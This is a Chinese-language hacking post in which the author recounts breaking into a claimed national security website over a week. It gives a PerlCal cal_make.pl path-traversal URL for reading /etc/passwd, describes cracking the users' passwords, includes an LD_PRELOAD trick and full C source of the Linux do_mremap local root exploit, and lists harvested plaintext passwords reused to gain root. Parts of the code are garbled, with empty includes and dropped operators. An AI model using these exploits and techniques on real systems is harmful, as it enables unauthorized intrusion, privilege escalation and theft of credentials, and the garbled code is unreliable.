这篇文章比较长,希望你有耐心看完。我入侵的服务器为国家一个著名安全站点。过程很复杂 经过了1个星期的奋斗。希望多各位有所帮助。 <br> 请耐心看完 :)。其中也有关于社会工程学的。 <br><br><br> 正文 <br><br> 废话不说。开工 <br> C:\Documents and Settings\Administrator> <br> ping www.xxx.com <br><br> Pinging www.xxx.com [192.168.0.252] with 32 bytes of data: <br><br> Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br> Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br> Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br> Reply from 192.168.0.252: bytes=32 time<10ms TTL=128 <br><br> Ping statistics for 192.168.0.252: <br> Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), <br> Approximate round trip times in milli-seconds: <br> Minimum = 0ms, Maximum = 0ms, Average = 0ms <br><br><br> 文章中IP为假的 在这里不公布真正IP <br><br> 看TTL的返回信息判断系统应该不是真的 现在可以改这个 <br><br> 先扫描他看看吧 <br><br> 结果只开了 21 22 80 <br><br> 看来成功率不算打 FTP并没有若口令 80也没什么信息 <br><br> 看来了他站里 发现分有bbs.xxx.com 和 news.xxx.com 而且IP都不一样 看来想办法渗透了。 <br><br> 首先去bbs.xxx.com看看 用的程序似乎是绿盟那样子的 呵呵 似乎没什么漏洞 先放边上。 <br><br> 看看服务器开的端口情况 <br><br> 开了 21 22 80 也没什么漏洞 <br><br> 在看看news.xxx.com <br><br> 经过扫描 判断服务器应该是 NT/2000 <br><br> 21 80 389 1002 3389 <br><br> 基本上也没什么漏洞 21 没若口令 这个是IIS的 检查了一便也没什么漏洞 389 也没什么用 3389 不可能有输入法吧 登陆看看系统 <br><br><br> 2000server的 <br><br> news.xxx.com用的程序是asp的 想到了SQL注入。不过彻底查看了一下 所有的都过滤了。 <br><br> 有点郁闷了 <br><br> jswz.xxx.com <br><br> 也是一个分页 不过这个另我非常的意外 用的是cgi的 系统是linux <br><br> 21 22 80 <br><br> 扫了一下有个漏洞 <br><br> cal_make.pl 看名字有点熟悉 看了一下 不过一直没想起来 <br><br> 去了国外的几个站 终于发现了~~~ <br><br> Name : PerlCal <br> About : cal_make.pl of the PerlCal script may allow remote <br> users(website visitors) to view any file on a webserver <br><br> (dependingon the user the webserver is running on). <br><br> Exploit: <br><br> _make.pl?\" <br> target=_blank>http://www.VULNERABLE.com/cgi-bin/cal_make.pl?\ <br> p0=../../../../../../../../../../../../etc/passwd%00 <br> by: stan (stan@whizkunde.org) <br><br> 呵呵 感谢hack.co.za <br><br> 在浏览器地址栏输入 <br> _make.pl?p0=../../../../../../../../../../../../../etc/passwd%00" <br> target=_blank>http://www.xxx.edu/cgi-bin/perlcal/cal_make.pl?p0=../../../../../../../../../../../../../etc/passwd%00 <br><br><br> 好多用户信息 不过这是一个shadow过了passwd 好不容易的机会 不能放弃! <br><br> 想办法 跑这些用户吧~~~ <br><br> 提炼用户名 希望有弱口令 <br><br> 提炼过程大家参考一些资料去吧 <br><br> 一共20多个用户 跑出来了2个 哈哈。。~~ <br><br> 用SSH登陆~ <br><br> 权限似乎非常低 <br><br><br> 用第二个试试 <br><br> 哎 还是一样 <br><br> 看看提升权限吧~~ <br><br> 经过一番折腾 100%确定是rh73 内核Linux kernel 2.4 <br><br> 用do_brk的益出~ <br><br><br> #include <stdio.h> <br><br><br> #include <stdlib.h> <br><br><br> #include <unistd.h> <br><br><br> char hellc0de[] = <br><br><br> "\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65" <br><br><br><br> "\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74" <br><br><br><br> "\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30" <br><br><br><br> "\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20" <br><br><br><br> "\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74" <br><br><br><br> "\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75" <br><br><br><br> "\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh"&#59; <br><br><br> int main() <br><br><br> { <br><br><br> FILE *fp&#59; <br><br><br> char *offset&#59; <br><br><br> fp=fopen("/tmp/own.c","w")&#59; <br><br><br> fprintf(fp,"%s",hellc0de)&#59; <br><br><br> fclose(fp)&#59; <br><br><br> system("gcc -shared -o /tmp/own.so /tmp/own.c&#59;rm /tmp/own.c")&#59; <br><br><br> system("LD_PRELOAD=/tmp/own.so /bin/sh")&#59; <br><br><br> return 0&#59; <br><br><br> } <br><br><br> 郁闷 行不通 <br><br> 想别的办法 <br><br> 试试 do_mremap VMA本地权限提升漏洞 <br><br> Linux内核中mremap(2)系统调用由于没有对函数返回值进行检查,本地攻击者可以利用这个漏洞获得root用户权限。 <br><br> mremap系统调用被应用程序用来改变映射区段(VMAs)的边界地址。mremap()系统调用提供对已存在虚拟内存区域调整大小。从VMA区域移动部分虚拟内存到新的区域需要建立一个新的VMA描述符,也就是把由VMA描述的下面的页 <br><br> 面表条目(page table entries)从老的区域拷贝到进程页表中新的位置。 <br><br> 要完成这个任务do_mremap代码需要调用do_munmap()内部内核函数去清除在新位置中任何已经存在的内存映射,也就是删除旧的虚拟内存映射。不幸的是代码没有对do_munmap()函数的返回值进行检查,如果可用VMA描述符的最大数已经超出,那么函数调用就可能失败。 <br><br> :):):) <br><br><br> #include <stdio.h> <br> #include <stdlib.h> <br> #include <br> #include <br> #include <br> #include <br> #include <br> #include <br><br> #include mman.h> <br> #include <br> #include <br><br> #include <br><br><br> #define str(s) #s <br> #define xstr(s) str(s) <br><br> // this is for standard kernels with 3/1 split <br> #define STARTADDR 0x40000000 <br> #define PGD_SIZE (PAGE_SIZE * 1024) <br> #define VICTIM (STARTADDR + PGD_SIZE) <br> #define MMAP_BASE (STARTADDR + 3*PGD_SIZE) <br><br> #define DSIGNAL SIGCHLD <br> #define CLONEFL (DSIGNAL CLONE_VFORK CLONE_VM) <br><br> #define MREMAP_MAYMOVE ( (1UL) << 0 ) <br> #define MREMAP_FIXED ( (1UL) << 1 ) <br><br> #define __NR_sys_mremap __NR_mremap <br><br><br> // how many ld.so pages? this is the .text section length (like from <br> cat <br> // /proc/self/maps) in pages <br> #define LINKERPAGES 0x14 <br><br> // suid victim <br> static char *suid="/bin/ping"&#59; <br><br> // shell to start <br> static char *launch="/bin/bash"&#59; <br><br><br> _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, <br><br> ulong, e)&#59; <br> unsigned long sys_mremap(unsigned long addr, unsigned long old_len, <br> unsigned long new_len, unsigned long flags, <br> unsigned long new_addr)&#59; <br><br> static volatile unsigned base, *t, cnt, old_esp, prot, victim=0&#59; <br> static int i, pid=0&#59; <br> static char *env[2], *argv[2]&#59; <br> static ulong ret&#59; <br><br><br> // code to appear inside the suid image <br> static void suid_code(void) <br> { <br> __asm__( <br> " call callme \n" <br><br> // setresuid(0, 0, 0), setresgid(0, 0, 0) <br> "jumpme: xorl %ebx, %ebx \n" <br> " xorl %ecx, %ecx \n" <br> " xorl %edx, %edx \n" <br> " xorl %eax, %eax \n" <br> " mov $"xstr(__NR_setresuid)", %al \n" <br> " int $0x80 \n" <br> " mov $"xstr(__NR_setresgid)", %al \n" <br> " int $0x80 \n" <br><br> // execve(launch) <br> " popl %ebx \n" <br> " andl $0xfffff000, %ebx \n" <br> " xorl %eax, %eax \n" <br> " pushl %eax \n" <br> " movl %esp, %edx \n" <br> " pushl %ebx \n" <br> " movl %esp, %ecx \n" <br> " mov $"xstr(__NR_execve)", %al \n" <br> " int $0x80 \n" <br><br> // exit <br> " xorl %eax, %eax \n" <br> " mov $"xstr(__NR_exit)", %al \n" <br> " int $0x80 \n" <br><br> "callme: jmp jumpme \n" <br> )&#59; <br> } <br><br><br> static int suid_code_end(int v) <br> { <br> return v+1&#59; <br> } <br><br><br> static inline void get_esp(void) <br> { <br> __asm__( <br> " movl %%esp, %%eax \n" <br> " andl $0xfffff000, %%eax \n" <br> " movl %%eax, %0 \n" <br> : : "m"(old_esp) <br> )&#59; <br> } <br><br><br> static inline void cloneme(void) <br> { <br> __asm__( <br> " pusha \n" <br> " movl $("xstr(CLONEFL)"), %%ebx \n" <br> " movl %%esp, %%ecx \n" <br> " movl $"xstr(__NR_clone)", %%eax \n" <br> " int $0x80 \n" <br> " movl %%eax, %0 \n" <br> " popa \n" <br> : : "m"(pid) <br> )&#59; <br> } <br><br> static inline void my_execve(void) <br> { <br> __asm__( <br> " movl %1, %%ebx \n" <br> " movl %2, %%ecx \n" <br> " movl %3, %%edx \n" <br> " movl $"xstr(__NR_execve)", %%eax \n" <br> " int $0x80 \n" <br> : "=a"(ret) <br> : "m"(suid), "m"(argv), "m"(env) <br> )&#59; <br> } <br><br><br> static inline void pte_populate(unsigned addr) <br> { <br> unsigned r&#59; <br> char *ptr&#59; <br><br> memset((void*)addr, 0x90, PAGE_SIZE)&#59; <br> r = ((unsigned)suid_code_end) - ((unsigned)suid_code)&#59; <br> ptr = (void*) (addr + PAGE_SIZE)&#59; <br> ptr -= r+1&#59; <br> memcpy(ptr, suid_code, r)&#59; <br> memcpy((void*)addr, launch, strlen(launch)+1)&#59; <br> } <br><br><br> // hit VMA limit & populate PTEs <br> static void exhaust(void) <br> { <br> // mmap PTE donor <br> t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), <br> PROT_READ PROT_WRITE, <br> MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, 0, 0)&#59; <br> if(MAP_FAILED==t) <br> goto failed&#59; <br><br> // prepare shell code pages <br> for(i=2&#59; ipte_populate(victim + PAGE_SIZE*i)&#59; <br> i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ)&#59; <br> if(i) <br> goto failed&#59; <br><br> // lock unmap <br> base = MMAP_BASE&#59; <br> cnt = 0&#59; <br> prot = PROT_READ&#59; <br> printf("\n")&#59; fflush(stdout)&#59; <br> for(&#59;&#59;) { <br> t = mmap((void*)base, PAGE_SIZE, prot, <br> MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, 0, 0)&#59; <br> if(MAP_FAILED==t) { <br> if(ENOMEM==errno) <br> break&#59; <br> else <br> goto failed&#59; <br> } <br> if( !(cnt%512) cnt>65520 ) <br> printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base, <br> base+PAGE_SIZE)&#59; fflush(stdout)&#59; <br> base += PAGE_SIZE&#59; <br> prot ^= PROT_EXEC&#59; <br> cnt++&#59; <br> } <br><br> // move PTEs & populate page table cache <br> ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE, <br><br> MREMAP_FIXED MREMAP_MAYMOVE, VICTIM)&#59; <br> if(-1==ret) <br> goto failed&#59; <br><br> munmap((void*)MMAP_BASE, old_esp-MMAP_BASE)&#59; <br> t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE, <br> PROT_READ PROT_WRITE, MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, 0, <br> 0)&#59; <br> if(MAP_FAILED==t) <br> goto failed&#59; <br><br> *t = *((unsigned *)old_esp)&#59; <br> munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE))&#59; <br> printf("\n[+] Success\n\n")&#59; fflush(stdout)&#59; <br> return&#59; <br><br> failed: <br> printf("\n[-] Failed\n")&#59; fflush(stdout)&#59; <br> _exit(0)&#59; <br> } <br><br><br> static inline void check_kver(void) <br> { <br> static struct utsname un&#59; <br> int a=0, b=0, c=0, v=0, e=0, n&#59; <br><br> uname(&un)&#59; <br> n=sscanf(un.release, "%d.%d.%d", &a, &b, &c)&#59; <br> if(n!=3 a!=2) { <br> printf("\n[-] invalid kernel version string\n")&#59; <br> _exit(0)&#59; <br> } <br><br> if(b==2) { <br> if(c<=25) <br> v=1&#59; <br> } <br> else if(b==3) { <br> if(c<=99) <br> v=1&#59; <br> } <br> else if(b==4) { <br> if(c>18 && c<=24) <br> v=1, e=1&#59; <br> else if(c>24) <br> v=0, e=0&#59; <br> else <br> v=1, e=0&#59; <br> } <br> else if(b==5 && c<=75) <br> v=1, e=1&#59; <br> else if(b==6 && c<=2) <br> v=1, e=1&#59; <br><br> printf("\n[+] kernel %s vulnerable: %s exploitable %s", <br> un.release, v? "YES" : "NO", e? "YES" : "NO" )&#59; <br> fflush(stdout)&#59; <br><br> if(v && e) <br> return&#59; <br> _exit(0)&#59; <br> } <br><br><br> int main(int ac, char **av) <br> { <br> // prepare <br> check_kver()&#59; <br> memset(env, 0, sizeof(env))&#59; <br> memset(argv, 0, sizeof(argv))&#59; <br> if(ac>1) suid=av[1]&#59; <br> if(ac>2) launch=av[2]&#59; <br> argv[0] = suid&#59; <br> get_esp()&#59; <br><br> // mmap & clone & execve <br> exhaust()&#59; <br> cloneme()&#59; <br> if(!pid) { <br> my_execve()&#59; <br> } else { <br> waitpid(pid, 0, 0)&#59; <br> } <br><br> return 0&#59; <br> } <br><br><br> 耶~~~~成功了 <br> 整理了一些东西 然后看看有什么可以利用的信息没。 呵呵mailuserinfo 看看这里写的什么 <br> ~ <br><br> admin e04i9zs8#$% <br> kelzr zjjjwoai22@ <br> sunzsdk 2z2z2z2z2z2z2z2z <br> wollf woainiliaoynx <br><br><br> 记得主站上有这几个管理员~ 去找登陆的地方 <br><br> www.xxx.com/login.php <br><br> 您的IP未被允许登陆 <br><br> 晕了 <br><br> 用SSH登陆192.168.0.252试试 <br><br> 果然登陆进来了 用户名是kelzr 密码是 woainiliaoynx <br><br> 呵呵 试了2分钟 <br><br> 登陆后发现权限竟然不是root 哭了 <br><br> 试了3个提升权限的竟然没有用 <br><br> 郁闷ING <br><br> 郁闷中发现一个login的记录 是这个机器登陆另一个机器的记录 密码是明文 <br><br> 登陆的是192.168.0.2 用户名admin 密码mozjkelzlf152@ 是FTP登陆 <br><br> 看来是他估计写下来的 <br><br> 我突然冒出个想法 :) <br><br> 断开连接 重新用SSH连接主机 root mozjkelzlf152@ 哈哈进来了 <br><br> 有了权限就好办了 <br><br> 我曾经渗透过好多站都是这样 管理员的密码通用 呵呵 一个机组的密码全都一样! <br><br> 哎~ 大家最好养成一个习惯 尽量避免密码重复 <br><br> |